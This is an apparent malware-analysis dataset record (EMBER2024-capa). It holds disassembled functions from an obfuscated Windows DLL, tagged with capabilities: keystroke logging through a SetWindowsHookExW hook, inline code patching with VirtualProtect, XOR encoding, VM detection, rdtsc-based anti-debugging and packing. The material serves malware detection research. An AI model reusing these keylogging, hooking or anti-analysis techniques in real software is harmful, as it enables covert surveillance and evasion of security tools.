joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10023370
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002f518
push 0x10001e19
mov eax, dword fs:[0]
push eax
add esp, 0xfffffff4
push ebx
push esi
push edi
mov eax, dword [0x1003109c]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0
mov eax, dword [0x10047b10]
movzx ecx, byte [eax]
cmp ecx, 0xe9
je 0x100233f3
push 0x10046fc8
push 0x40
push 1
mov edx, dword [0x10047b10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x10047b10]
mov byte [eax], 0xe9
mov ecx, dword [0x10047b0c]
sub ecx, dword [0x10047b10]
sub ecx, 5
mov edx, dword [0x10047b10]
mov dword [edx + 1], ecx
mov dword [ebp - 4], 0xfffffffe
jmp 0x1002340c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10025dc0
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
push 0x1002edf8
lea esp, [esp + 4]
nop
nop
mov eax, dword [ebp + 8]
push eax
push 0x1002ee0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
push 0x10024e60
push 2
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10046f48], eax
mov eax, dword [0x10046f48]
jmp 0x10025dfd
pop ebp
ret

Function at 0x100278ce
Capabilities:
Encode data using xor

Disassembly:
mov dword [ebp - 0x140], ecx
mov byte [esp + 8], bl
mov edx, dword [ebp - 0x140]
pushal
pushfd
jmp fcn.1004e963

Function at 0x1002a629
Capabilities:
Check for vm using instruction vpcext

Disassembly:
sets dl
mov dword [esp + 4], ecx
xchg dx, ax
cwde
rcl edx, cl
cdq
mov edx, dword [ebp - 0xb4]
push 0xa53a78bc
imul edx, edx, 0x120
lahf
mov eax, dword [edx + 0x10045510]
push esp
mov word [esp + 8], di
pushfd
lea esp, [esp + 0x10]
jmp fcn.100edbcf

Function at 0x1005e2e6
Capabilities:
Execute anti-debugging instructions

Disassembly:
imul eax, eax, 0x120
sete cl
movsx dx, cl
clc
cmc
mov ecx, dword [eax + 0x1004551c]
lahf
rol ah, 3
lea edx, [ecx + 0x48ad36c8]
xchg dword [esp + 0x20], ecx
rol al, cl
clc
mov edx, dword [ebp - 0xc0]
movsx cx, cl
bt ebx, 0x1f
pushal
pop eax
imul edx, edx, 0x120
stc
sets cl
stc
mov eax, dword [edx + 0x10045518]
pop ecx
xchg dword [esp + 0x34], eax
rdtsc
bt bx, 4
mov ecx, dword [ebp - 0xc0]
rdtsc
push 0xf99cb90
imul ecx, ecx, 0x120
cdq
clc
mov edx, dword [ecx + 0x10045514]
lea ecx, [0x451dbedb]
xchg dword [esp + 0x34], edx
lea eax, [eax + 0x43f1dba2]
push dword [esp + 4]
ror ah, 2
not dl
mov eax, dword [ebp - 0xc0]
pushfd
stc
imul eax, eax, 0x120
movzx dx, cl
mov ecx, dword [eax + 0x10045510]
movzx dx, cl
mov dword [esp + 0x38], ecx
setg dl
call fcn.1004fe37
Function at 0x1006d382
Capabilities:
Execute anti-debugging instructions

Disassembly:
push esi
pushfd
fild dword [eax + 0x10045514]
pushfd
push esi
jmp 0x100b4e01
push esi
lea esp, [esp + 0xc]
je 0x10085609
clc
cmc
stc
push 0xffff0000
pushal
pushfd
mov eax, dword [ebp - 0x68]
jmp 0x10096e75
push dword [esp + 4]
imul eax, eax, 0x120
pushfd
jmp 0x1006a65d
lea esp, [esp + 0x3c]
call fcn.1002b560
btr cx, 0xf
stc
push eax
btc ecx, 0x1c
mov ecx, dword [ebp - 0x68]
pushal
pushal
cmc
stc
imul ecx, ecx, 0x120
call fcn.100d16bf

Function at 0x1006db10
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 0x20
cmc
pushal
cmp dword [0x10047020], 0
mov word [esp + 4], 0x9158
lea esp, [esp + 0x20]
jb 0x10093baa
pushal
lea esp, [esp + 0x20]
je 0x100a63d9
pushal
pushal
mov byte [esp + 0xc], dl
mov dword [esp + 0x3c], 0xa
push dword [esp + 0xc]
mov dword [esp + 0x3c], 0x100d6fe7
push eax
push dword [esp + 8]
push 0xb3141922
pushfd
push dword [sym.imp.mfc100u.dll_new__]
pop dword [esp + 0x48]
mov byte [esp], 0x43
mov byte [esp], al
pushfd
push dword [esp + 0xc]
push dword [esp + 0x50]
ret 0x54
pushfd
mov word [esp], 0x5539
lea esp, [esp + 4]
je 0x100a63d9
pushal
pushfd
mov dword [esp + 0x20], 0xa
call fcn.100a6560
pushal
mov byte [esp + 8], ch
mov dword [esp + 8], 0xa600e417
pushfd
fild dword [edx + 0x10045510]
pushfd
jmp 0x100d6b61
push esi
mov byte [esp + 0xc], ch
lea esp, [esp + 0x2c]
call fcn.1002b560
bt edx, 1
pushfd
sar cl, cl
mov dword [esp], eax
rdtsc
mov eax, dword [ebp - 0x20]
movzx edx, cl
xadd cx, dx
shr eax, 1
shrd edx, eax, cl
btr cx, cx
test dl, al
rol ecx, cl
push eax
rol ecx, 0x1c
bswap cx
shr cl, cl
mov ecx, dword [ebp - 0x24]
sub dh, 0x86
shr ecx, 1
movsx dx, cl
push ecx
lea edx, [esi + 0x34abb279]
mov edx, dword [ebp + 8]
call fcn.100e3d5a

Function at 0x1006fd88
Capabilities:
Execute anti-debugging instructions

Disassembly:
imul eax, eax, 0x120
cmc
lea edx, [ebx - 0x59bc8d1d]
stc
mov ecx, dword [ebp - 0xa4]
bts edx, 0xb
imul ecx, ecx, 0x120
btc dx, 0xd
shrd dx, bx, 0xf
and dl, 0xac
add dl, 2
mov edx, dword [eax + 0x10045508]
jmp 0x100e3c81
mov dword [esp + 4], 0x8e3ab9e9
push 0xbe140621
lea esp, [esp + 0x28]
jne 0x1008624c
clc
pushfd
mov edx, dword [0x10047c10]
pushal
cmp ah, ah
push dword [esp]
mov word [esp + 0xc], 0x5ea6
add edx, 1
clc
jmp 0x100eeae6
call fcn.1006dc52
lea esp, [esp + 0x30]
je 0x10056856
rdtsc
lahf
btc cx, 2
mov eax, dword [0x10047c10]
bswap cx
pushal
jmp 0x1005eb94
test ch, ch
sub edx, dword [ecx + 0x10045508]
call fcn.100b31cc
mov ah, dl
std
invalid
mov word [esp + 4], cx
cmp dword [ebp - 0xa4], edx
push edx
pushfd
mov word [esp + 0x10], 0xcf7
jmp 0x100bdda1

Function at 0x100710a3
Capabilities:
Encode data using xor

Disassembly:
pushfd
mov dword [esp + 8], edx
jmp 0x100c494f
mov dword [esp + 4], 0x1009ec33
pushfd
call fcn.100df016
add dword [ecx + ecx*4 + 0x32191b65], 0xfcf89d0c
test dword [eax - 0x5f162b63], esp
popal
cld
test eax, 0x8819b1dc
out dx, al
invalid
Function at 0x10071ea9
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0x28]
je 0x100891fb
btc eax, 7
stc
rol dx, cl
mov edx, dword [ebp - 0x38]
pushal
bt ax, 1
rcr ah, cl
imul edx, edx, 0x120
push dword [esp]
movzx ax, al
movzx eax, word [edx + 0x10045520]
ror ch, cl
not dh
bts cx, 6
pushal
mov dword [esp + 0x40], eax
jmp 0x1007c9d9
mov byte [esp], ch
ror dh, 5
mov ecx, dword [ebp - 0x38]
push dword [esp + 8]
lahf
stc
imul ecx, ecx, 0x120
mov dl, 0x80
movzx dx, al
mov edx, dword [ecx + 0x1004551c]
bts eax, esp
movzx ecx, al
btr ax, di
xchg dword [esp + 0x40], edx
push dword [esp]
lea eax, [edx*4 - 0x3242f6d2]
mov eax, dword [ebp - 0x38]
mov word [esp + 8], si
imul eax, eax, 0x120
rcl dl, cl
movzx dx, dl
ror dh, 1
cmc
mov ecx, dword [eax + 0x10045518]
movsx ax, al
rcl dx, 0xa
rcr al, 7
mov dword [esp + 0x40], ecx
rdtsc
mov edx, dword [ebp - 0x38]
xchg ch, ah
imul edx, edx, 0x120
cmc
mov eax, dword [edx + 0x10045514]
btr dx, 3
ror dl, cl
bt si, bp
mov dl, byte [esp]
mov dword [esp + 0x3c], eax
rdtsc
mov ecx, dword [ebp - 0x38]
not ax
lahf
lahf
bswap dx
imul ecx, ecx, 0x120
rdtsc
mov edx, dword [ecx + 0x10045510]
setne al
call fcn.100d754f
Function at 0x10072bfd
Capabilities:
Execute anti-debugging instructions

Disassembly:
test edi, 0x44462b71
pushfd
add esp, 0x1c
pushfd
pushal
bt bp, 0xc
push dword [esp]
cmp dword [0x10047020], 0
pushfd
pushfd
lea esp, [esp + 0x30]
jae 0x100e9cf0
je 0x100ee7d2
push esp
pushal
mov dword [esp + 0x20], 0xa
mov byte [esp + 4], 0x4f
pushfd
mov dword [esp + 0x20], 0x100e7e3a
call fcn.100dd549
jle 0x10072bef
pushfd
mov byte [esp], cl
pushal
mov dword [esp + 0x20], 0x97b272f7
push dword [esp + 0xc]
push 0x9a951e9d
mov byte [esp], 0x6b
mov dword [esp + 0x24], 0xb40bc841
mov byte [esp], bh
push edi
pushfd
lea esp, [esp + 0x2c]
jmp fcn.10004ecb
pushfd
mov dword [esp], 0x97b272f7
pushfd
call fcn.100e25a1
test ah, bl
add esp, 4
test dl, 0x33
clc
clc
cmp dword [0x10047024], 0
pushal
push edx
lea esp, [esp + 0x24]
je 0x100891fb
mov dl, 0x3d
push eax
mov edx, dword [ebp - 0x38]
cwde
pop eax
bswap ax
imul edx, edx, 0x120
pushfd
pushfd
movzx eax, word [edx + 0x10045520]
bswap ecx
stc
mov dword [esp + 4], eax
rdtsc
movsx ax, bl
rcl ch, cl
mov ecx, dword [ebp - 0x38]
bts ax, cx
imul ecx, ecx, 0x120
rcl al, cl
jmp 0x100e7ef1
pushfd
lea esp, [esp + 0x20]
call fcn.10024bf0
jmp 0x10061ff0
lahf
mov edx, dword [ecx + 0x1004551c]
bts cx, sp
pushfd
mov byte [esp + 4], bh
xchg dword [esp + 4], edx
rdtsc
btr ax, 0xb
pop edx
lahf
mov eax, dword [ebp - 0x38]
rol dl, 7
movsx dx, cl
push ecx
mov ch, ch
imul eax, eax, 0x120
stc
mov ecx, dword [eax + 0x10045518]
rdtsc
movzx dx, dl
bts ax, 3
cmc
xchg dword [esp], ecx
rdtsc
cdq
mov edx, dword [ebp - 0x38]
seto ah
imul edx, edx, 0x120
ror ch, cl
mov eax, dword [edx + 0x10045514]
stc
bswap dx
push ebp
rcl edx, cl
mov dword [esp], eax
xchg ah, cl
xchg dl, al
mov ecx, dword [ebp - 0x38]
xchg ah, dl
rdtsc
imul ecx, ecx, 0x120
xchg dx, ax
cdq
mov edx, dword [ecx + 0x10045510]
lea eax, [ecx - 0x601d6dc1]
movzx ax, al
call fcn.1008b1f5
push 0x17beca4a
lea esp, [esp + 4]
je 0x100ee7d2
push ebp
mov dword [esp], 0xa
pushfd
call fcn.100ea832
mov dl, 0xba
out dx, eax
cli
xchg edx, edi
mov ebx, 0x1ef6cfe6
invalid
mov dword [esp + 0x1c], eax
mov byte [esp + 4], 0x63
jmp 0x100d7935

Function at 0x100768b6
Capabilities:
Execute anti-debugging instructions

Disassembly:
cmc
add esp, 0x1c
pushal
cmp dword [0x10047020], 0
jmp 0x100dcb26
call fcn.100ef5a3
pushfd
lea esp, [esp + 0x24]
je 0x100a63d9
jmp 0x1008fdf6
jmp 0x100aeb78

Function at 0x10079a94
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0x50]
call fcn.10025ce0
adc cx, sp
bsf cx, di
add esp, 0x1c
Function at 0x1007a0f6
Capabilities:
Execute anti-debugging instructions

Disassembly:
setb dl
push eax
bt edi, 6
mov ecx, dword [ebp - 0x5c]
xchg ah, dh
cwde
jbe 0x100f58b6
imul ecx, ecx, 0x120
ror edx, 0x16
rcr eax, cl
mov edx, dword [ecx + 0x1004551c]
clc
bt di, 2
pushal
setns ch
xchg dword [esp + 0x1c], edx
pushal
setge cl
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x50519118]
pushfd
push 0x2be768db
imul eax, eax, 0x120
rcl dl, 1
stc
mov ecx, dword [eax + 0x10045518]
bt sp, 0xf
call fcn.10086b66
mov eax, dword [edx + 0x10045514]
xchg dx, cx
cmc
call int.100770ab
cmc
add esp, 4
pushal
pushfd
cmp dword [0x10047024], 0
jmp 0x100f22a5
lea esp, [esp + 0x2c]
je 0x100987f9
cdq
mov edx, dword [ebp - 0x5c]
lea eax, [ebx*2 + 0x3e8e3a8b]
bswap ax
ror al, cl
imul edx, edx, 0x120
xchg ah, ch
btr ax, sp
btc ax, di
movzx eax, word [edx + 0x10045520]
setb ch
movsx dx, cl
jmp 0x1004c100
pushfd
push 0x753dcff
jmp 0x10084c81
Function at 0x10080a82
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 0x1c
bts ax, sp
mov ecx, dword [ebp + 8]
btr dx, 0xd
rcl dl, cl
movzx ax, cl
clc
push ecx
ror dl, cl
movsx edx, bl
movsx dx, bl
not eax
push 0xffffff33
rol cl, 2
push 1
btr ax, cx
rdtsc
mov edx, dword [ebp - 0x90]
pushal
rol ah, cl
movsx cx, cl
rcl ax, cl
imul edx, edx, 0x120
push 0x9ea26af5
bts cx, cx
lea ecx, [eax - 0xc966105]
mov eax, dword [edx + 0x1004551c]
rcr cl, 2
xchg dword [esp + 0x20], eax
stc
cmc
rdtsc
mov ecx, dword [ebp - 0x90]
mov al, bh
movsx dx, bl
call fcn.1007593d
xor edi, edi
invalid
mov esi, 0xa69e8d3
add dword [eax], eax
jge 0x10064ef3
in al, 9
and byte [ebp - 0x28], bh
sbb dword [0xa7a1497c], esi
div byte [eax + 0x4368fed8]
js 0x10064f30
sahf
xchg ebx, eax
ja 0x10064e7e
pop ebx
push ebx
cmc
cmp bh, dh
xor esi, ebx
mov edi, 0xc2c9a9d4
xchg esp, eax
stc
das
mov cs, edi
or ebp, dword [ebx + 0x57530c0e]
fnsave dword [ecx - 0x7e]
sbb al, byte [ebp - 0xb409b95]
sbb byte [edx], 0x85
imul esp, dword [edi + edi*4 - 0xc], 0xffffffcd
mov al, byte [0x78c9e97d]
das
int 0xa0
jge 0x10064efb
leave
js 0x10064f44
add bh, byte [edx + eax*4 - 0x2086e211]
sub bh, 0x1d
jns 0x10064efb
invalid
out 0x5b, eax
insb byte es:[edi], dx
inc ebx
out 0xfa, al
jg 0x10064f35
lahf
out dx, al
and al, 0x4d
mov esi, 0xbff18fbd
push ecx
mov ebp, 0x51bff18f
jge 0x10064f23
jnp 0x10064ecd
jns 0x10064f91
in al, dx
or dword [edx + ecx*2], esi
pop ds
wait
into
wait
inc edi
imul byte [ebx]
lcall 0xcd1c, 0x1d7239df
pop ebx
add esi, esi
pop ss
push es
xchg dword [ebp - 0x64a41216], esi
push es
insd dword es:[edi], dx
jno 0x10064f5a
mov dword [0x1a3a1992], eax
sub byte [eax - 0x2e], al
mov ecx, edx
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
rol edx, cl
out dx, eax
xchg dword [esi], ebx
sub al, 0xba
mov esi, 0x5e108fbd
fsubr dword [eax + 0x79947b31]
mov ebp, ebx
cdq
rsqrtps xmm3, xmm2
inc edx
push cs
pushal
inc ebp
into
sub byte [edi - 0x6f5efc09], cl
jl 0x10064f71
mov ebp, 0xd85e108f
test al, 0x31
jnp 0x10064f0e
jns 0x10064f07
jmp 0x10064f17
mov eax, 0xe2271cd
and cl, byte [esi]
mov dl, 0xc6
pop ds
out dx, al
inc ebx
xchg edx, eax
push ebx
into
cmp edx, esi
inc edi
push ss
arpl si, si
or al, 0xea
in eax, dx
pop ebx
and ch, byte [eax - 0x42]
lea esp, [esp + 0x3c]
call fcn.10025ce0
and dl, 0x1e
bswap eax
jmp 0x10064e5b

Function at 0x10081a8e
Capabilities:
Execute anti-debugging instructions

Disassembly:
lahf
push 0xfffffffffffffff9
pushfd
mov eax, dword [ebp + 8]
jmp 0x1005cb5a
jmp 0x100f6e4e
not al
jmp 0x10059abe
not eax
cdq
bswap dx
mov edx, dword [ecx + 0x10045510]
cwde
push 0x49290c50
setae ah
pop eax
mov dword [esp], edx
movzx ax, cl
jne 0x100633f4
bswap ax
setle ah
push 0xfffffffffffffff9
pushal
push 0x68bc346c
mov eax, dword [ebp + 8]
jmp 0x100dd0de
lea esp, [esp + 0x24]
call fcn.10025ce0
bswap cx
movsx cx, bl
mov ax, 0x6c94
add esp, 0x1c
jmp 0x100a1f91
mov ecx, dword [ebp + 8]
cdq
push ecx
jmp fcn.1008e2c2
mov dword [esp + 0x20], eax
call fcn.100701f6
mov byte [esp], ah
mov dword [esp], eax
pushfd
mov byte [esp], ah
pushal
jmp 0x100a0ab4
Function at 0x1008780b
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x44e04e23
mov byte [esp + 8], ch
mov dword [esp + 0x40], 0x845fb443
push edi
mov dword [esp], edx
lea esp, [esp + 0x44]
jmp fcn.10003bc7
pushfd
bswap ax
xchg dword [esp + 0x30], ecx
rdtsc
fld dword [0x10047c04]
mov byte [esp], 0xf4
fstp dword [esp + 0x30]
movzx cx, dl
clc
btr dx, 7
mov ecx, dword [ebp - 0xa4]
rcr al, cl
pushfd
not dx
push 0xb3ef5815
imul ecx, ecx, 0x120
xadd edx, eax
shrd dx, si, cl
add ecx, 0x100454b8
aas
rdtsc
sub esp, 0xffffffe0
clc
test cl, 0xfa
bt dx, 0xb
das
mov edx, esp
cmp cl, bh
bsf ax, ax
mov eax, dword [ecx]
pushfd
cmp bh, dl
call fcn.100cbc81
pushal
pushal
push dword [esp + 0xc]
mov dword [esp + 0x40], 0x97b0fe9e
jmp 0x10071442

Function at 0x10087d38
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x2d8641a2
lea esp, [esp + 0x2c]
je 0x10079aa7
pushal
cdq
mov edx, dword [ebp - 0x90]
lea ecx, [eax + 0x1dc454a0]
setp ch
imul edx, edx, 0x120
bt ebx, eax
ror ax, cl
rol al, cl
movzx eax, word [edx + 0x10045520]
ror cl, cl
rol dl, 3
rcl edx, 0xf
mov dword [esp + 0x1c], eax
movzx dx, bl
call fcn.100e104c
pushfd
jmp 0x1005c4f2
pushal
cmp dword [0x10047024], 0
jmp 0x100842a1

Function at 0x10088e7f
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0x24], eax
rol cl, 2
rdtsc
mov ecx, dword [ebp - 0x90]
bswap eax
rcr dx, cl
imul ecx, ecx, 0x120
cwde
cwde
mov edx, dword [ecx + 0x1004551c]
lahf
mov dword [esp + 0x20], edx
mov byte [esp], ah
mov byte [esp], 0x97
mov eax, dword [ebp - 0x90]
movzx dx, cl
btr dx, cx
setns ch
not dx
imul eax, eax, 0x120
lea edx, [edi*4 - 0x2b64d075]
bt si, bp
rcl edx, cl
rol dh, 7
mov ecx, dword [eax + 0x10045518]
btc ax, 1
xchg dword [esp + 0x1c], ecx
pop edx
mov edx, dword [ebp - 0x90]
lahf
not ch
imul edx, edx, 0x120
lea esp, [esp + 0x18]

Function at 0x1008954e
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
push dword [sym.imp.MSVCR100.dll__itoa]
pop dword [esp + 0x30]
mov byte [esp + 8], dl
mov dword [esp], edi
pushfd
push dword [esp]
push dword [esp + 0x38]
ret 0x3c
jmp 0x100c55c1
mov dword [esp], ecx
lea esp, [esp + 4]
je 0x100a63d9
pushfd
call fcn.1008a192
push edx
mov dword [esp + 0x24], 0x97b30d5b
pushal
pushfd
call fcn.1004d1d5
mov dword [esp + 0x2c], 0x100cca09
push dword [esp + 0x10]
jmp 0x10072b87
Function at 0x1008deba
Capabilities:
Execute anti-debugging instructions

Disassembly:
ror dh, cl
mov ecx, dword [ebp - 0x90]
ror dh, 1
stc
btr eax, ebx
stc
imul ecx, ecx, 0x120
pushfd
rdtsc
rdtsc
rcr dh, cl
mov edx, dword [ecx + 0x10045518]
not cl
movsx cx, bl
rcl ah, 4
cmc
xchg dword [esp + 0x24], edx
btc cx, dx
bswap ecx
mov eax, dword [ebp - 0x90]
btr ecx, ebx
stc
movsx edx, dl
imul eax, eax, 0x120
setno dh
ror cl, 7
rcr edx, 8
mov ecx, dword [eax + 0x10045514]
pop edx
mov dword [esp + 0x1c], ecx
bt ax, 0xa
clc
bts eax, 0x1f
lahf
mov edx, dword [ebp - 0x90]
push edi
seta al
rcr ah, 2
rol ah, cl
imul edx, edx, 0x120
jmp 0x100f53ca
call fcn.100e46f0
push cs
xchg edi, eax
div byte [edx + 0xc]
cmp dword [ecx], ebx
xor ecx, dword [edi - 0x65]
test byte [ecx + eax*2 + 0x696c29b4], dh
inc eax
sbb eax, 0xd40c3570
or eax, 0xeda8ce04
int3
mov eax, dword [edx + 0x10045510]
push dword [esp]
mov dword [esp + 0x20], eax
push edx
jmp 0x100eba8f

Function at 0x1009228b
Capabilities:
Execute anti-debugging instructions

Disassembly:
bts ax, 3
cdq
xchg dx, ax
mov eax, dword [ebp - 0xa4]
cmc
setbe cl
imul eax, eax, 0x120
not ch
movzx edx, dl
mov word [esp + 4], bp
inc cl
add eax, 0x100454b8
or dl, 0xe0
add ecx, ecx
adc ecx, 0xc216152e
shld cx, si, 0xe
sub esp, 0xffffffe4
not dh
inc ch
mov ecx, esp
add dh, 0xcb
sub dx, 0x67c3
pushfd
or edx, ecx
mov edx, dword [eax]
mov word [esp], 0x4d1a
push dword [esp]
mov dword [ecx], edx
pop edx
push dword [esp]
mov edx, dword [eax + 4]
stc
bt bx, dx
mov dword [ecx + 4], edx
push dword [esp]
mov edx, dword [eax + 8]
call fcn.10029473
pushal
pushal
call fcn.100bcec5
lea esp, [esp + 0x38]
call fcn.10023940
rcl ax, 3
btc ax, cx
mov edx, dword [ebp - 0xa4]
mov al, dh
pushal
mov byte [esp], 0x12
pop eax
xchg dword [esp + 0x18], edx
movzx ax, cl
lea edx, [esp - 0x25535139]
mov dword [esp + 0x14], ecx
pushfd
bts ax, 2
xchg dl, ah
rdtsc
fld dword [0x10047c00]
bts ax, bp
bts ax, 5
rdtsc
ror dx, 4
fstp dword [esp + 0x18]
bswap dx
mov dword [esp + 0x14], ecx
movzx dx, cl
rol ax, 0xc
stc
fld dword [0x10047bfc]
cdq
fstp dword [esp + 0x14]
mov byte [esp], 0x83
xchg dword [esp + 0x10], ecx
pushal
ror al, cl
pushfd
rdtsc
fld dword [0x10047c04]
rcl al, 5
movsx dx, al
xchg cx, dx
fstp dword [esp + 0x34]
jmp 0x10083b96

Function at 0x10092986
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], ecx
pushfd
lea esp, [esp + 4]
call fcn.10024da0
aam 0xb0
rdtsc
add esp, 0x10
lahf
rdtsc
mov ah, 0xc4
rdtsc
mov edx, dword [ebp - 0x6c]
movsx ax, dl
mov dword [ebp - 0x138], edx
movzx ax, al
lea eax, [edi + 0x5016bd3]
movsx ax, al
mov eax, dword [ebp - 0x138]
call fcn.100d51da
mov dword [esp + 0x2c], 0x7f9c9f50
mov byte [esp], 0x6c
pushfd
pushfd
lea esp, [esp + 0x34]
jmp fcn.10004ecb
Function at 0x1009c79e
Capabilities:
Packed with generic packer

Disassembly:
jmp 0x100c03a4
lea esp, [esp + 0x48]
je 0x1009e1ad
jmp 0x10067cbd
clc
cmc
bt si, 0xc
jmp 0x100d5a0b
jmp 0x100ee3ed
push 0xa
jmp 0x100c82fd
jmp 0x100f1514
cmp dword [0x10047024], 0
jl 0x100bdd0b
push 0xab49ff52
lea esp, [esp + 4]
je 0x100ecaac
lea edx, [edx - 0x1ff73588]
lea eax, [ebp - 0x5e59a192]
cmc
lea edx, [ecx*2 + 0x1908a1b2]
mov edx, dword [ebp - 0x90]
push 0x3c0a95c5
lea esp, [esp + 4]
je 0x100ecaac
clc
stc
call fcn.10058ee2
pushal
mov dword [esp + 0x1c], 0x97b2480d
pushfd
push dword [esp]
jmp loc.1000a9f6
invalid
pushfd
mov dword [esp], 0x100c1537
pushal
call fcn.10066cc7
jecxz 0x100f159a
daa
push ds
push ebx
push esi
das
and ch, byte [ebx - 0x5a]
enter 0x1a82, 0xffffffffffffffea
aad 0xbd
jns 0x100f1500
dec esi
sub eax, 0xfb3f2a1a
invalid
shr byte [edx + 0x5307b29c], cl
bound esp, qword [ecx + ecx + 0x10]
mov byte [ecx], dl
call 0xf410d20d
imul esp, esp, 0xd7de44dd
dec ebx
js 0x100f161e
inc esp
invalid
xchg ebx, eax
mov esi, 0x63d3da8f
xchg byte [edi + 0x77dba0e1], dh
push ds
and dword [edi], esp
test ebx, edi
jp 0x100f1639
adc dh, dh
mov al, 6
inc edi
pushfd
and ah, bh
cld
invalid
Function at 0x100a0831
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], 0xff800080
rdtsc
cmc
clc
mov ecx, dword [ebp - 0xc0]
clc
imul ecx, ecx, 0x120
rdtsc
mov edx, dword [ecx + 0x10045514]
aas
sar al, 6
sub edx, 0x11
setp al
stc
pushal
mov dword [esp + 0x1c], edx
movzx eax, cl
mov byte [esp + 4], dh
mov eax, dword [ebp - 0xc0]
bt sp, 7
imul eax, eax, 0x120
rol ecx, cl
and cl, 0x97
mov ecx, dword [eax + 0x10045510]
jmp loc.1000c119

Function at 0x100a2b5f
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushal
pushfd
mov byte [esp + 8], 0x4f
push edx
mov dword [esp + 0x24], 0xa
mov byte [esp], 0x3f
jmp 0x1006a25f
mov dword [esp + 0x20], 0x100daa1b
call 0x10063719
stc
cmp dword [0x10047020], 0
pushfd
lea esp, [esp + 0x24]
je 0x100a63d9
jb 0x10050e53
pushal
mov dword [esp + 0x1c], 0xa
mov byte [esp + 8], al
pushal
jmp 0x10085f5d
lea esp, [esp + 0x3c]
jle 0x100b1473
push 0x100d6625
call fcn.10088282
pushfd
mov byte [esp], 0x20
lea esp, [esp + 0x10]
call fcn.1002b560
shr ch, 2
shr dx, 1
movsx cx, cl
push eax
aad 0xf2
mov edx, dword [ebp - 0x20]
or ecx, edx
bswap eax
btr cx, 1
aam 0x2d
shr edx, 1
xadd cl, ah
aam 0xd9
rcr ah, cl
push edx
daa
mov eax, dword [ebp - 0x24]
rcr ch, cl
bsf ecx, edx
sub cx, cx
shr eax, 1
bswap cx
pushal
pushfd
push 0xe337f461
mov dword [esp + 0x24], eax
pushfd
lea ecx, [esi + 0x5b77fee]
not ch
mov ecx, dword [ebp + 8]
pushfd
pushfd
jmp 0x100baf19
pushfd
push 0x8d52c1b9
pushfd
jmp 0x1006b2e5
push 0xd5ffd7bc
mov dword [esp + 0x30], ecx
push edx
push edx
mov byte [esp + 4], dh
lea esp, [esp + 0x38]
call fcn.10024bf0
cmc
pushfd
add esp, 0x1c
test cl, cl
pushal
jmp 0x10083f3f

Function at 0x100a6ce3
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
mov byte [esp + 4], 0xb2
pushfd
lea esp, [esp + 0x44]
call fcn.10025ce0
sub ecx, 0xaf8f386f
adc al, 0xad
sal cx, cl
add esp, 0x1c
cdq
movsx edx, cl
mov ecx, dword [ebp + 8]
setl dh
push 0x326bdf74
bts dx, 2
xchg dword [esp], ecx
lahf
cdq
rdtsc
push 0xffffc0cb
call fcn.1009726b
call fcn.100b5b26
bts dx, di
rol dh, 2
btr edx, 0x16
mov edx, dword [ebp - 0x90]
xchg cl, al
mov byte [esp], ch
imul edx, edx, 0x120
ror ch, cl
not ah
lahf
mov eax, dword [edx + 0x10045514]
push 0xbed68cff
xchg dword [esp + 4], eax
cmc
pushal
push edx
stc
mov ecx, dword [ebp - 0x90]
rdtsc
imul ecx, ecx, 0x120
mov dl, 0xe5
mov edx, dword [ecx + 0x10045510]
lahf
movsx ax, al
cwde
mov dword [esp + 0x24], edx
jmp 0x100bdd39
mov dword [esp + 0x20], 0xfffffff9
movsx ax, dl
sets ah
mov eax, dword [ebp + 8]
jmp 0x100c40ba
movzx ax, cl
jmp 0x100ba74d
pushal
mov dword [esp + 0x3c], eax
jmp 0x10065d76

Function at 0x100a751a
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov ecx, dword [ebp + 8]
cmc
cwde
btr dx, 1
push ecx
jmp 0x100d8666
pushfd
lea esp, [esp + 0x30]
call fcn.10025ce0
bswap cx
shl cl, cl
sal cl, 1
add esp, 0x1c
rdtsc
bswap cx
jmp 0x1008713d
not ax
btc dx, 2
rdtsc
push 0xffff0000
btc dx, sp
push 1
cwde
mov edx, dword [ebp - 0x90]
call fcn.10074003